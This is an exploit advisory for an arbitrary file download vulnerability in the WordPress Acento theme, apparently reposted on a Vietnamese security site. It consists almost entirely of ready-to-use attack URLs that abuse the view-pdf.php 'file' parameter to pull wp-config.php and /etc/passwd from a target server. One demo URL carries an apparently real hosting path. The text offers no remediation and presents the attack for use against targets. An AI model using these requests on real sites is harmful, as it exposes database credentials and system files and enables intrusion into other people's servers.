WordPress Acento Theme (view-pdf.php, file param) - Arbitrary File Download

Bài liên quan

• Infoblox 6.8.2.11 - OS Command Injection
• DirPHP 1.0 - LFI Vulnerability

• Hướng dẫn thiết lập WordPress để quản lý bằng ứng dụng trên Mac
• Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload




#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# Title : WordPress acento theme Arbitrary File Download Vulnerability

# Author : alieye

# vondor : http://www.wpbyexample.com/detail/acentocultural.com

# Contact : cseye_ut@yahoo.com

# Risk : High

# Class: Remote

# Date: 01/09/2014

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

 

 

You can download any file from your target ;)

 

 

exploit: http://victim.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php

 

 

Demo:

 

1-download wp-config.php file from site:

 

http://server/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php

 

2-download passwd file from root:

 

http://server/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/etc/passwd

 

 

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , 3.14nnph , amir and all cseye members

[#] Thanks To All Iranian Hackers

[#] website : http://cseye.vcp.ir/

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++